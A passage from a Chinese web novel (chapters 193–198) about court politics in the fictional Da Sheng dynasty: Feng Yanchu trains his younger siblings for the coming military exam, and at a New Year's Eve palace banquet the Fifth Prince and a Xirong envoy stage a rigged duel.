而这位老大人戍边多年,脾气可不是太好。当天失职的巡城卫一律或被降职,会被清除,人员虽有精简,但做事的效率竟提高了不少。那些藩属国使臣再无生事的,因为这些人知道,一旦生事,迎来的就是这位老大人的拳头。
没错,邢勉虽年岁不小,可对于那些在京城生事的使臣深恶痛。一旦有人闹事,就会被附近的巡城卫扣押当场,然后等这位老大人赶到之后,他会当着所有百姓的面,提起铁拳就是一顿暴揍,有好几个已经被打的躺在床上起不来。
那些使臣上奏景和帝,提出抗议,可均被视而不见,甚至还被骂了一顿,说他们不守规矩,借机生事,有几个藩属国的使臣已经被赶了回去,并且写了圣旨斥责对方的国君。
西戎使团住处门前,挤了好几个不同藩属国的使团,这些人在门口叫骂着。
正使看了看旁边的一个年轻人,语气中带着不悦之色,“这是你的出的主意,你去解决。”
那名年轻人脸上满是不在乎的神色。这确实是他出的主意,用钱收买别国使臣闹事,并许予好处,为的就是试探大晟。当初正使也是同意了的,如今大晟的皇帝陛下要将那几个生事的藩属国使臣逐出大晟,这些人才着急找上门来。
“这几个国家紧邻咱们西戎,他们因惧怕我们的吞并,这才顺势被钱收买。如今他们就要被大晟抛弃了,再也无人庇护,西戎的国土又要扩大啦,您应该高兴才是。他们在门口虽然像苍蝇一样烦人,但不用管,大晟迟早会将这些人驱逐的。”
正使的眼睛死死地盯着眼前这个年轻人,沉声道:“最好如此。”他对眼前之人从未放松过警惕,此人乃是国主最小的弟弟,表面看着像温顺的绵阳,实则就是藏在草丛里的毒蛇,一不留意就会被他咬一口。
那名年轻人嘴角扯出笑,说的十分真诚,“当然,正使大人,我对我的兄长忠心无比。”
坤宁宫。
外头寒风凛冽,可黎皇后心情很好。
这一次她虽然做了陛下手里的刀,但却得到了六扇门一半的权柄。这是实际的好处,与五皇子比较,她的获利更大。
她甚至兴致勃勃的与身边的女官谈论起来,“陛下一直想将巡城卫掌控在自己手里,奈何这个姓常的虽是五皇子的人,但却十分谨慎。这次陛下清除了不少人,虽说双方各有获利,但陛下却收回关键位置,更何况六扇门还到了我手里,五皇子怎会不气愤。”
女官心中震惊不已,她基本上每日都在皇后娘娘身边侍奉,可却丝毫未瞧出,“可臣并未见陛下与您商议?”
黎皇后笑道:“此事不过是双方之间的默契,不用开口,他用六扇门一半的权柄,要与我达成合作,趁势收回巡城卫。”
“那若是没成功那可怎么办?”
黎皇后觉得此次她大获全胜,也有耐心给对方解惑,“不会的,五皇子看似对底下人礼遇有加,实则毫无心胸。只要我稍稍施压,他必定会有所行动。”
紧接着,她摘下一颗葡萄,一边说着话,一边不紧不慢的撕下外皮,“但是他忘了,如今各藩属国使臣进京,多么重要的时候,他竟然不顾大晟体面,将私斗放在明面上,这岂不是让外人看笑话,陛下岂能容忍?”
随后举着剥好的葡萄喃喃道:“若是肆意妄为,让陛下觉得碍眼,那下场只会和大皇子一样,不!没准比他还惨,落个死无葬身之地,所以其中分寸的把握拿捏十分重要。现在看来,这些年五皇子被捧的太高,似乎已经忘了,可本宫却时时刻刻都在提醒自己。”
勤政殿。
江荣海端着一碗热茶更换了已经温了的茶杯。
当景和帝重新端起茶杯要再饮一口时,这才发现时辰不早了,抬头问道:“几时了?”
江荣海明知道时间,还特意去看了看,“陛下,已经快午时,您该用膳了。”
景和帝活动了一番有些僵硬的脖子,将笔放回笔架,缓缓道:“罢了,净手吧。”
在这个情况下,净手的活就要交给其余太监。
而江荣海则需要亲自收拾整理桌案,毕竟这上面都是国家大事,非亲信之人轻易碰不得,他也是伺候了景和帝这么多年,才有这个资格的。
景和帝净手之时,嘴上并未闲着,吩咐道:“让那些迅速离京,不得在大晟逗留。”
江荣海收拾的动作略作停顿,转身拱手道:“是,陛下。”他直到收拾完之后,这才出去吩咐底下人。
对于景和帝而言,这几个生事的藩属国,一直摇摆不定,而且暗中与西戎走的很近。如此,继续留在大晟也无用,正好借着他们生事的机会将人赶走,面对如此机会,西戎必定会想趁机吞并。
一口吃不成胖子,即使对方有心也得慢慢来。正好逼一逼这些墙头草,筛查出可用的,摒弃掉没用的,将来也好对西戎用兵。
景和帝思绪跑的很远。一会儿想到了明年的武试科考,一会儿想到了兵部尚书由谁顶替,这个位置的人必须通兵事,不是谁都可以的。
又想到了玄麟卫前些日子上来禀报,老六短短这几个月游历地方的所作所为,所见所闻。
第一百九十三章 这话分外熟悉
而这些上位者之间的斗争,与现在的封砚初无关。
当京城恢复平静之后,他将自己制好的一些药和写的信寄给了远在北边的孙延年。
这日难得休沐。
院中,二妹封砚婉练的十分认真,旁边陪着是她的丫鬟珊瑚,虽然依旧以照顾人为主,但还是跟着一起练。封砚初并未阻止,毕竟主仆两个还能相互打气鼓励,进步倒还快些。
三郎封砚池则是一边练武,一边背书;而他身旁,是二哥封砚初。
只见对方手里拿着一根木棍监督,每当他背的磕磕绊绊之际,亦或是动作不对之时,除了提醒以外,还有木棒的辅助。
这让三郎在练武之时,不仅要注意动作是否规范,还要全身心投入背书,更要留意二哥的小木棍,可谓十分辛苦。如今对他来说,是自出生以来最难熬的日子。
‘啪!’
又是一下!
封砚初收回木棒,背着手,来回踱步,“没吃饭吗?出拳要用力,要打出气势来!”说罢随意出了一拳,只听‘啪’的一声,拳风在空气中炸响。
三郎不禁有些佩服他二哥。多少人在一件事情上都难有成就,而二哥不仅读书考了个状元也就罢了,武功还这么厉害,竟然还顺带学了个医。
而他学习……别提了,那是一件痛苦的事情,如今下苦功背书,习武也赶不上二哥当年的进度,人与人真是不能比。
当然了,这一切都是二哥亲口所说的。还说自己是他见过天赋资质最差的,且不知努力的人,当时听后,只觉羞愧难当。
此时,他又卡壳了,二哥挥起木棒就是一下,然后才开口提醒。
不远处。
珊瑚将这一幕尽收眼底。不禁有些担心自家姑娘的小身板,经不住二郎君这么操练。
她看着旁边依旧认真练习的二姑娘,带着担忧地神色说道:“姑娘,二郎君对三郎君那般严厉,一旦背不出,练不对,就要挨打,奴婢担心你扛不住。”
二姑娘封砚婉一边练习着,一边为自己鼓劲,“你不许走神,认真练,我相信自己可以扛住的!”
珊瑚见状道:“姑娘,你别担心,要是二郎君对你也这般严厉,奴婢替你挨打!”这就是从小一起长大的主仆情义。
其实封砚婉也在心底暗暗担心,“谢谢你,珊瑚。不过我还是自己挨吧,这样也能长些记性。但是我可以求一求二哥,希望他看在我勤勉刻苦,又是女孩子的份上,打轻些。”
珊瑚听后点头认可,觉得可行性很高。又见三郎君如此模样,忍不住感叹,“姑娘,这些天总听三郎君背这些,我都记住了!”
封砚婉亦点头道:“我也记住了,而且我还从二哥的书房里借了几本书,已经背的差不多了,在这方面应该不会挨打。”
“那可真好。”珊瑚由衷的为自家姑娘高兴。
就在这时,一个声音响起,“不许交头接耳,认真练!”
“是,二哥!”
“是,二郎君!”
两个女孩子的表情十分认真有趣。
封砚初早就听见了两人之间的对话,只觉得好笑。毕竟是女孩子,要求严一些也就罢了,他怎么可能像对待三郎一样,训斥责打她们。不过这两个小姑娘一直都很认真刻苦,有时候竟然比三郎还要强些。
对于三郎,他也很无语,那是真的不爱读书啊,练武倒还勤谨,一到读书的事情上就思想不在线,为此没少挨他打。
此刻,对方又卡壳了。这让他想起当年在家里读书之时,杨夫子对他说的话,现下用着十分合适,“封砚池,我是在用自己空闲的时间教你。”
三郎见二哥不仅没有打他,竟然还叫了全名,立即胆战心惊,赶紧道歉,“二哥,对不起。”
“你没有对不起我,你对不起的只有自己。今日好不容易是休沐之日,若非你这般不争气,我此刻应该在屋里悠闲的品茶,何苦监督你?我难受,你也不好受。”不知为何,封砚初觉得现在将这些话说出来的感觉很爽快。
就在这时,门口响起一阵敲门声。
原来是大姐姐封砚敏来了,她见此一幕笑着点头道:“三郎果真进益了,就连二妹妹练起武来也这般认真。”
封砚初上前迎接,“姐姐,外头太冷,快进屋喝些热茶暖一暖。”
就在这几人正欲上前行礼,被封砚初一个眼神甩过去,“继续练习。”
封砚敏见他们二人一副紧张的模样,赶紧打岔。将这次来‘枕松闲居’的目的说了,“对了,因着三郎和二妹妹在你这里习武,总是烦你。张姨娘和方姨娘不仅给他们做了些衣裳鞋袜,也给你也做了,全当是感谢你这些时日的教导,便托我带来。”
封砚初没有放过任何一个教导三郎的机会,听了这番话,看向对方,“你但凡知道羞愧,就应该努力些,也对得起张姨娘对你操的那份心。”
三郎看向二哥,只觉得这话分外熟悉,好似在哪听过,但他不敢多言。
自从住到这里之后,除了二哥督促之外,也就是姨娘给他送来这些衣裳鞋袜,除此再无一人问询,就连父亲也只当没他这个人。此刻,他有些担心就连二哥也放弃自己,努力练着的同时,内心羞愧不已。
“好啦,你们继续练吧。”封砚敏说话间,拉着二郎往屋里去。
进屋才坐下,她便劝道:“我瞧着三郎和以前比,进步很大,也不用逼得太紧,慢慢来就好。”
封砚初亲自为长姐添了茶,听了这话长叹一声,“哪里是我愿意?实则是明年春就要举办武试科考,他又练的时间短,我有些急。”
第一百九十四章 机会已经放在眼前
封砚敏听后,喝茶的动作一顿,将茶盏放回桌上,问道:“咱家……可以吗?毕竟当初太宗皇帝有言在先。”
封砚初并非莽撞之人,何况他也是多方打探,“当年薛家卷入朝堂争斗败落,族人贬的贬,死的死;可前几年薛氏嫡支的薛荣祥,让徒弟王郎君参加了京西武备营的考核,以此试探陛下的态度。当初我也是亲眼瞧了的,能力不俗;虽说现如今依旧在底层,但起码说明陛下的态度已经软化。”
“如今朝中武将不振,陛下这才重开武试科考,只为招揽人才。我已得知,明年薛家也会参加,而且陛下并未反驳,所以才想让三郎也试一试。”
说到这里他带着可惜之色,轻叹道:“只是三郎开窍晚,到底有些迟了,我如今只想着,他明年能夺得入选的资格就行。也好让咱家逐渐重归武将之列,免得后辈除了读书以外,朝中再无其他出路。”
封砚敏听到这里心中震惊,她从未想过二弟还有这个谋划,“那你当年习武也是为了……”
后面的话虽未说出口,可封砚初已经明白,嘴角扯出一抹笑:“一开始哪有什么打算,不过是想着习武强身健体而已,只是后来我担心自己万一科考不成,没准从军也是一条路。”
今日是难得的好天气,阳光透过窗户照在脸上。他说到这里眼睛弯了弯,好似又回到当年那副调皮狡猾的模样,“再说我与孙延年是好友,对于边关和军中之事多多少少还是了解一些的,陛下早晚的事松口,否则薛家也不会提前进京谋划。”
封砚敏此刻才发现,原来二郎早有打算,“那你怎么不和父亲说?”
封砚初盯着茶盏里的水,一边转动的杯子,一边仿佛不在意道:“父亲一心只想着以读书科举出人头地。况且他总是担心我被外物所影响,为此不惜关了我一年的禁闭。所以,我哪里敢对父亲说,只怕才开口就是一顿好打,没准还会被说不务正业。”
听了这番话,封砚敏便是一通沉默,她知道二郎说的是对的。太宗皇帝的话犹如天堑一般横在武安侯府头上,父亲又怎会将希望放在这虚无缥缈的机会上,就当时而言,父亲是对的。
思及此处,她有些担心道:“三郎,他成吗?”
封砚初轻轻摇头,“我不知道,机会已经在眼前了,我唯一能做的也只有在后头鞭策。”
“这些话,你和他说过吗?”封砚敏又问。
“说了一半,若他没有抓住这次机会,另一半也就不必知道了。”此刻,封砚初心绪有些复杂,三郎既是他的弟弟,也是他的探路石。
气氛一时之间有些沉寂,封砚敏换了个话题,想缓和缓和,“我方才瞧二妹练的还挺认真的?”
“是啊,她一贯喜欢这些,如今有了机会,学起来竟十分认真。”封砚初提起这话,神情轻松了许多。二妹是庶女,家里没人重视,她能长成这番活泼开朗的性格也是难得。
“之前方姨娘还抱怨二妹静不下来,想让她绣个帕子难得很,如今我倒看她挺静的。”封砚敏瞧二郎虽然管的严,但二妹在这里比家里还自在些,也真心为对方高兴。
而她这次来除了送衣裳鞋袜之外,就是将这个月的月例送来。便没有在‘枕松闲居’多待,只用了午饭,下午便回去了。
因这段时间几人练武,身上难免有个磕碰,尤其三郎还经常挨打。所以封砚初送走长姐之后,估摸着药膏剩的不多,便去药房配药,只将自觉留给他们。
许是被语言刺激到了,封砚初不在,三郎却将书本放在一旁,若是有背不出来的地方,就让双寿翻开提醒,竟然比上午还强些。
晚上。
封砚婉抹上药后,甚至还兴致勃勃的试穿起方姨娘给她做的衣裳。她转了一圈展示着,“怎么样?好看吗?”
珊瑚点头道:“好看,这颜色也漂亮,愈发衬得姑娘明艳可爱。”
可是没一会封砚婉就脱下来,有些可惜道:“再好看也不行,我每日练武穿着也不合适。”
珊瑚听了这话偷偷道:“姑娘,我方才听雪香说,西边梅林里的梅花快开了,到时候,您放我一天的假,我想去瞧瞧。”说到这里有些不好意思的笑了笑。
封砚婉其实也想去,“要是真开了,不用你说,我也会向二哥请假,到时候咱们一起去。”
“真的?那太好了,我还和雪香约好了呢。”珊瑚兴奋不已。
与此处的欢快不同,封砚池屋里的气氛有些沉闷。他正趴在床上发呆,胳膊和背上是今日打出来的红痕。
双寿一边抹药膏,一边絮絮叨叨,“郎君,要小的说,您并不是背不过。只是一看到书就烦,这才记不住,您但凡多认真那么一点点。”他说到这里,甚至还用手指头小小的比划了一下。“您今天也不会被二郎君打那么多下。”
“再说二郎君如今是官,还要去翰林院上职,每天那么多的事情,多忙啊。现在倒好,下职回来后不仅歇不成,还将休沐的时间空出来,特意教您。”
“就是老太太、侯爷、大娘子他们对您都没这么上心,您要是再继续下去,先不说别的,起码二郎君会失望吧?毕竟这么用心的教您。”
若是往常,封砚池必定“哎呀呀”的叫着,然后用被子将头蒙起来,可今天他异常安静,直到听见双寿罕见的说出一句话。
“郎君,要是连二郎君都放弃您了,那就再也不会有人为您的将来这般费心了!”
“知道了,我会努力的。”这话刺痛了封砚池的内心,他用沉闷的声音应着。
双寿听后十分开心,甚至抹药的力度都重了几分,“当真?”
封砚池痛的龇牙咧嘴,“当真,当真,你轻点。”
“嘿嘿嘿,那就好,以后小的也能跟着沾些光。”双喜这笑声有些猥琐。
第一百九十五章 肩负起责任的大人
从这以后,三郎当真不用催促,便能够自觉练武、背书,封砚初也确实轻松了许多。
冬日的暖阳没有带着寒冷,反而使得光秃秃的枝桠在冷风中瑟瑟,大地与天空依旧冷硬坚挺,直至除夕之际也未见一丝雪。
而今天也是陛下款待各藩属国使臣,宴请群臣的日子。
武安侯府。
封简宁早已准备妥当,只因时间还早,便在老太太这里着说话,其余人也都在作陪,除了封砚初以外。
大郎封砚开也已经穿戴整齐,顶着寒风从自己院子里过来,进门先是拱手行礼,“孙儿问祖母安,问父亲、母亲安,二叔、婶娘安。”
老太太面上带笑,将人叫到跟前,“瞧着一切都准备妥当了,可有疏漏?”
“都好了。”大郎亦以笑回应,端是一副翩翩君子,温文尔雅的模样。
父亲封简宁朝门口的位置看了看,问道:“二郎呢?没和你一起来吗?”
还未等大郎回答,二叔封简言掩嘴轻轻打了个哈欠,他觉得时间还早,便道:“还有一会呢,且不着急,何况二郎已经长大为官,不似小时候那般顽皮,不用当幼时似的,出门还要人千叮咛万嘱咐。”
其实也不怪二叔这般说,实则在封砚初小时候,无论是封简宁还是大娘子带其出门。对方时常会惹出一些大大小小的事情,这都被弄的有些应激了。
老太太也觉得孙子长大了,且已经为官半年,哪里还会像小时候似的,“不用操心二郎,那孩子如今稳重多了,你瞧三郎这段时间被他教导的多好。”
封简宁一时之间竟有些感慨,“唉,也怪这小子,每次出门答应的好好的,可没一次让人省心。”
其实也是因为今日除夕宴的人不少,他有心叮嘱次子几句,却忘了对方早已成为,一个可以肩负起责任的大人了。此时已经反应过来,要是放下以前高低得骂两句,而不是仅有这几句轻飘飘的话。
大娘子见夫君眉间露出不耐之色,连忙对一旁的铜雀吩咐道:“去看看,可是二郎那边被事情绊住了脚。”
话说封砚初早在五天之前就回侯府了,这也让他的院子热闹起来,留守的丫鬟婆子对二郎君能回来还是很兴奋的。
其实他早就起了,这会子还坐在桌前不紧不慢的吃饭呢。
李妈妈以为对方早就收拾妥当,可进门一瞧,竟然还在用饭,便急得在旁催促着,“二郎,你怎么还在吃饭呢?快快收拾收拾,我方才着人去打听,侯爷和世子已经去了老太太那里了。”
封砚初并未因李妈妈的话就停下来。他依旧吃着东西,甚至还抽空回答,“妈妈,今日虽说是陛下宴请,难道你真当是去吃饭不成?再者说了,每逢这样的大宴,宫里的御厨也是本着不出错的原则上菜,那味道实在一般。”这并非是他虚说,之前琼林宴的饭菜就很普通。
李妈妈的注意力果然被转移了,她并不相信,狐疑道:“你净胡说,那可是皇宫里的御膳,比咱侯府不知强出多少倍。”
“正因为御厨伺候的都是陛下,以及那些皇子皇孙,需得时时注意,一旦出现差错那可是要掉脑袋的,哪里会像咱家,做的不好最多逐出去!”就在封砚初正说话之时,王锦娘也进来了。
她见此一幕,有些惊讶,“你怎么还没穿戴好?哎呀,快别吃了,赶紧收拾。”说话间,已经拉着儿子起身,又令丫鬟赶紧伺候着洗漱。
封砚初正在漱口,大娘子打发的铜雀来了,她进门时,目光先是朝侧厅轻轻一扫,只觉得不可思议,竟还在吃饭。
不过该传的话还是要传到的,“二郎君,侯爷在前头催呢,问您什么时候过去。”
李妈妈留意到对方的目光,连忙指了指桌上的饭菜吩咐,“雪香,快快收拾了。”
王锦娘忙道:“这就好了,这就好了。”说罢,已经将儿子的朝服拿出来了。
因为是除夕大宴,通常在这种场合之下必须穿朝服,所以封砚初穿的是他那件绿色的朝服。
铜雀见话已带到,并未多留,行礼告辞后,直接离开了。
见儿子这么磨叽,还要人催,气的王锦娘拍了对方几下,语气中也带了些埋怨,“要我怎么说你呢,今天是什么日子?不想着早早过去,竟让大家等你一人!”
封砚初看了一眼铜漏,长叹一口气,无奈道:“姨娘,现在时辰还早,儿子就是过去了,也是大家伙儿一起等。”其实他心里何尝不清楚,因为武安侯府长时间处于权力之外,猛然间要参加除夕宴这种重大节日的皇宫宴会,所以反应才会如此反应过激。
果然,当他去了老太太那里之后,大家虽然都在说着话,可空气中却弥漫着一股焦灼之气。
“孙儿请祖母安,请父亲、母亲安,请二叔、婶娘安。”
封简宁一看到人,便抱怨道:“你不知道今天是什么日子吗?怎的这般拖慢?”
与众人相比,封砚初神色却很轻松,不过嘴上却说道:“是儿子的不是,只是瞧着时间还早,这才来迟了。”
老太太如何不知儿子的心情,见状赶紧劝道:“来了就好,你也别急,有话好好说。”
封简宁原本还想叮嘱一些话,可当真正看到这个早就长的比他高的儿子时,这才发觉对方已经长大,甚至有时候比自己想的还周到,话到嘴边竟变了,“你如今已经为官半年多,也了解了官场,应当知道轻重。”
“是,儿子明白。”
第一百九十六章 怎能犯这样的错
等封家父子到达宫门之时,大家也才陆陆续续地赶来。而门口的侍卫正在检查,防止有人将不洁之物,或者兵刃器携带进去。
封砚初才下马车没一会儿,就听见有人喊他,顺着声音寻去,原来是陈泽文。与父亲打了招呼,走上前一瞧,对方正在宫门口卸自己的兵器。
禁军掌握在陛下手中,而且今日乃是大宴,只会更严格。他注视着对方的动作,眉毛微挑,语气中夹杂着调侃,“哟,今日是来赴宴的,你怎么还带着武器?”
陈泽文将东西交给一旁检查的侍卫,转脸解释,“我如何能与你们相比,我算是是武官,自然要让那些藩属国使臣看看,大晟未来武将的威武之气。”
对方说话之时,封砚初伸头朝桌子上瞧了瞧,呦呵,还真是带什么的都有,随手拿起一个梅花镖,看向侍卫,“还有人带暗器?”
那侍卫一边记录,一边头也不抬的说道:“可不是,还有人带了酒水点心呢,难不成除夕宴上没吃的?”
“你以为大家都和你似的,就这么两手空空的就来了?”陈泽文又扬了扬头,给封砚初示意,“瞧那边,堂堂肃王世子,皇室宗亲,竟然与侍卫在宫门口撕扯起来。”
说到此处叹气道:“我去看看,这么多人瞧着,估计他父王也嫌丢人,已经提前进去了。”
封砚初扭头看去,果真瞧见不远处,肃王世子与侍卫发生了争执。只见侍卫拽着对方不让离开,“世子殿下,您这些东西不能带进去!”
沈在云紧紧搂着几个小瓶子道:“我这不是毒药,你可以让御医来查验,真的,不信我吃给你看。”说完,就要将瓶子里的东西拿出来塞进嘴里。
“不行,不行,这谁能保证啊,万一出事,小的可担待不起!”那侍卫见劝不动已经开始硬抢了。
沈在云担心被抢坏了,连忙呼叫着,“哎呀,你慢点,我这里头的要很贵的!万一摔坏了,你可赔不起!”
而陈泽文十分无语地上前几步道:“宫里的规矩你不懂吗?还是赶紧交给这侍卫吧,不过是代为保管罢了,出宫就还给你。”说话时,直接将药瓶抢过来给了那侍卫。
沈在云不放心的叮嘱道:“你可千万要小心啊,弄坏了,弄丢了,我找你算账!”
陈泽文一把将人拽到一旁,低声道:“你是肃王世子,怎能犯这样的错?这么多人看着,你丢不丢人!”
听了这话,沈在云捂着胸口心疼道:“上次我进宫之时,就按照规矩交上去了,你猜怎么着,竟然告诉我东西丢了,定是给我贪了!”
封砚初在一旁听了好一会,这才说道:“有了上次的教训,那你这才还敢带来?难道不知道进宫前要严查私人物品?”
“唉,我不是不想交,我是不放心他!上次就是他将我的东西弄丢了。”说到这里,沈在云指着与他方才起了争执的侍卫吐槽着。
其实主要原因是,别看他如今身体看着好了许多,可到底与那些康健之人还是有些区别的,所以身边会时常备些药,只是这话却不方便往外说。
“啊,还有这事?”陈泽文震惊不已,迅速上前几步盯着那名侍卫,“说,你是不是偷偷拿去卖了?”
这名侍卫心中一阵苦笑,肃王世子的东西,他哪里敢私底下眛了。那天不知道宫里头发生了什么事,陛下身边的江荣海竟然将世子殿下的东西拿走了,连句话也没有。
他解释了好多遍,对方就是不信,觉得江荣海好歹是贴身照顾陛下之人,怎么可能缺他那点东西。
于是也只能扯出僵硬的笑,“您误会了,这小的怎么敢?”
封砚初过去拍了拍陈泽文的肩膀,“走了,你父亲和父亲他们已经进去了。”眼见着人越来越多,三人一起往里走。
说实话,这是他第三次进皇宫,而前两次,一次是殿试,一次是被点为状元。
当他再次踏入此地时。这值守的侍卫,往来的宫女太监,穿着各色朝服的百官,让这庄重肃穆的皇宫中多了些鲜活的气息,这是无论在现代逛多少次,也无法切身体会的。
因为人数很多,所以此次的除夕宴设立在明光殿,而此处最为宽广。
封砚初到了大殿之内,只觉得无比煊赫。放眼望去,所有座位都已经按照等级排好了,也算幸运,如果武安侯府按照官员品阶排列的话,只怕父子三人就要与末位的各国使臣紧挨着。
幸亏是按照勋贵爵位排列,这让武安侯府勉勉强强占了个中间的位置。
与封砚初不同,陈泽文的母亲是皇室公主,肃王也是皇室宗亲,所以这两人的位置都比他靠前。
宴会还未正式开始,大家都在自由走动,相互攀谈。说来让人想笑,即使曾经互为政敌,但此刻,仿佛他们之间那往日的不和,早已消散,真可谓十分热闹!当然,这里头也包括封简宁和封砚开。
预估着各藩属国也要进来,大家这才回到位置上坐好,为的就是让外人瞧一瞧大晟乃是天朝上国,即使官员也是举止有度。
过了一会儿,西戎,安怀部,南陌,久光,苍南等国的使臣全都来了之后,才有太监传唱,陛下来了。
众人皆起身行礼,直至景和帝坐于高位之上,才道:“诸卿请起。”紧接着就是陛下讲话,展示大晟国威。
此刻,宫内的乐工奏雅乐。而各藩属国的国书和贡品早已呈递,所以他们只需随着文武百官朝陛下行礼即可,直到这些结束之后,才到了进膳观舞时。
第一百九十七章 不过是走个过场罢了
所有人都在宴饮观舞之际,一个不合时宜的声音响起,“陛下,外臣有事要禀。”
高台之上,景和帝正与肃王说着什么,好似还说的高兴,没想到被这突如其来的声音打破。
他扫视台下,神色未变,依旧是那副威严宽和的模样,“西戎来使有何事要奏?”
那人面上带笑,行礼道:“额尔多罗拜见大皇帝陛下,外臣还未来到大晟就心向往之,如今来了京城之后,才发现陛下圣明无比,大晟繁荣昌盛,特设除夕宴款待,外臣不胜感激。”
“在西戎,款待客人时,不仅有美酒佳肴,美人载歌载舞,亦有勇士相搏助兴。现在外臣已经吃了美食,看了舞蹈,所以想请陛下准许,能够让大晟的勇士们有展示的机会。”
西戎正使没想到额尔多罗也不提前商量一下,就这样闯上去,还说了这番话,眉头不由紧皱,只是对方不仅是国主的弟弟,还代表着西戎。
所以,正使也不得不站起来行礼道:“尊敬的大皇帝陛下,外臣也早想一睹大晟勇士的雄姿。”
五皇子心中略作思索正欲开口,随后看向景和帝,见对方并未阻拦自己,高声道:“西戎使臣,这里不是你们西戎!我们大晟乃是礼仪之邦,今日是除夕宴不宜动武。而且你们是客人,正所谓客随主便,既然来到我大晟,就要遵守我大晟的规矩!”
额尔多罗又行一礼,起码外边看起来十分的谦和,“还请五皇子殿下恕罪,我西戎人一向拜服大皇帝陛下,就是因为陛下有一个宽广的胸怀,还请您让外臣能够一饱眼福。”这话,将景和帝高高的架起来。
肃王见皇兄虽然面上笑着,实则早已生气,沉声道:“额尔多罗,我大晟勇士可不是供人赏乐游戏的,他们只会为了杀敌而战!”
西戎正使不想闹得太难看,又道:“陛下,不如就让我西戎勇士与大晟勇士比试一场,如何?”
这次除夕宴,邢勉自然也在场,更何况现在更重要的是要震慑这些西戎人。于是站起身哈哈笑着,只是这声音让人听了,只觉得胆寒,“尔等放肆,难道礼部的官员没教你礼仪规制吗?还是说你想让我帮你回忆回忆!”
随后朝景和帝拱手道:“陛下,西戎使臣得寸进尺,实乃小人德行,请陛下准许,老臣要让他们尝一尝拳头是什么滋味!”
直到此刻,景和帝才开口,“哈哈哈,邢卿稍安勿躁,你久经沙场,若你上去岂不显得我大晟欺负弱小?还是将机会留给年轻人吧!”
邢勉已经年老气血衰败,如何比得上身强体壮的年轻人,他是担心一个不小心里子面子都没了,紧接着看向西戎正使,“不知你们想派谁?”
西戎正使指着场中之人道:“启禀陛下,我们派得勇士就是额尔多罗!”他心中对其节外生枝的行径十分不满,既然是对方惹出来的,那就自己解决!
就在这时,陈泽文正欲起身,却被旁边的陈驸马一把按住。他回头疑惑道:“父亲?”
陈驸马的目光依旧看向场中,嘴唇微动,“看陛下如何说。对方实力未明,你主动请缨,胜了还好;若败了,那你以后还有何颜面继续待在军中。”陈泽文终究听进去了,直至父亲松开手,也未起身。
而五皇子起身拱手道:“陛下,臣向您举荐一人。”
本来景和帝已有打算,没想到这个儿子却站出来,倒让他不好拒绝,只能问道:“你想举荐谁?”
“臣想举荐巡城卫指挥于梁才!”
五皇子内心十分激动,自从他失去巡城卫,他便觉得实力大减,一直想找机会增强自己力量。今天西戎之所以有这个提议,不过是他与其提前商议的合作,就是为了让父皇不得不将自己的人,放在重要位置上。
景和帝眼睛微眯,眼底闪过一抹暗色,脸上却依旧是那副威严宽和的样子,“准了!”
“谢陛下!”垂着头的五皇子看不见陛下的神色,不过即使他能看见大约也不会在乎,只要能达到自己的目的就好。
“宣!巡城卫指挥于梁才!”
“宣!巡城卫指挥于梁才!”
随着一道道声音传出,终于让一直等待在宫门之外的于梁才听见了,他一脸得意的表情几乎就要压不住了。
此人会些武,要说有多少真才实学并不见得,他心中也很清楚,今日这场比武不过是走个过场罢了!
当于梁才进入大殿后,邢勉这才想起场中之人。自从巡城卫常大人被罢免,此人就对外称作摔了腿。当时,他还特意让人去瞧了,现在对方出现在此处,可见不仅是扯谎,更有五皇子帮忙隐瞒,看来这场所谓的比武,不过是一场演给众人的戏罢了。
场中打的十分热闹,不知情的人看的津津有味,甚至觉得于梁才英勇有加,为大晟增光添彩。
不管旁人如何,封砚初却瞧出不对劲。这于梁才倒是竭尽全力,可那个叫额尔多罗的人明显留有余地。
竟然是在作假!此时此刻,要说五皇子和这个额尔多罗没联系,他封砚初的名字倒过来写!
这就是堂堂大晟五皇子,为了私利弄虚作假也就罢了,竟然还勾结西戎,就是为了在陛下跟前演一场戏;众目睽睽之下,让陛下无法拒绝的大戏!
察觉到内情后,他心中分外震怒,紧紧握着拳头,直到“嘎嘣”一声,筷子竟被他握断了。
一旁的封砚开听到声音,转头一看,连忙低声问道:“二郎,你这是?”
封砚初将断了的筷子扔在地上,面上依旧保持着笑脸,“我没事,等结束之后再说。”
封砚开伸手拍了拍对方的胳膊,“稳着一些。”紧接着继续看向场中的表演。
第一百九十八章 ‘文弱书生\’与‘自幼体弱\’
不过是电光火石之间,就在很多人以为于梁才的胜利,已经是板上钉钉之时。额尔多罗双拳直出砸向对方的门面,于梁才就这么连人带刀的飞了出去,这突如其来的转变让众人震惊不已。
觉得更不可思议的是五皇子,他下意识的微微起身,双目睁的老大,脸色阴的都快滴下水来了,败了,竟然败了!
此刻,他并未觉得是自己做错了,一味只埋怨西戎不守信用,说话不算数。
景和帝也以为虽然作假,起码可以保住大晟的颜面,等事后再收拾老五,处理于梁才,毕竟让一个人消失的办法太多了。
额尔多罗余光扫向五皇子,哈哈大笑着,随后行礼道:“大皇帝陛下,外臣侥幸胜利,只是没想到大晟的勇士如此不堪一击。”
此刻,景和帝说那些场面话,他仿佛对此次的失败并不在意一般,“哈哈哈,你确实还算英勇。”
而邢勉不得不为大晟找回颜面,站起身拱手道:“陛下容禀。”
“哦,邢卿有何话要说?”其实景和帝正欲以兴致正高,看的不尽兴的借口重新再比一场。而邢勉的话正中下怀,他清楚对方此时开口,说明事情出现了新的转机。
邢勉赶紧说道:“启禀陛下,此次比试不公,于梁才虽勇武,但五皇子并不知道他前段时间腿骨骨折,还因此告假两月,想必是未好全便与人比拼,这才落了下风。”
这话一出,额尔多罗不愿意了,“败了就是败了,怎么?难道大晟连失败也要找借口吗?”
此刻,五皇子也赶紧出来请罪,“请陛下恕罪,臣也是之前见于梁才功夫不弱,这才举荐,但没想到此人竟隐瞒受伤之事,请陛下处罚于梁才。”
这话一出,无论众人内心是何想法,但此时此刻都得统一口径,甚至就连皇后也说:“陛下,老五也是被此人蒙蔽,否则我大晟那么多英勇之士,又怎会选他?”
于梁才如何不知出了差错,但为了自己的性命,他忍着肋骨的疼痛,跪下请罪,“请陛下恕罪,是臣隐瞒伤情,明知不敌依旧逞强,还请陛下降罪。”
景和帝表现的十分宽和,“知错能改,善莫大焉,胜败乃兵家常事,无需自责。只是你毕竟有隐瞒之过,那么从今以后你就从巡城卫最低等的兵卒做起吧。”
“谢陛下恩典。”于梁才叩头谢恩后,便被侍卫搀扶着离开了。
“陛下心胸宽广,臣等拜服。”众人齐声道。
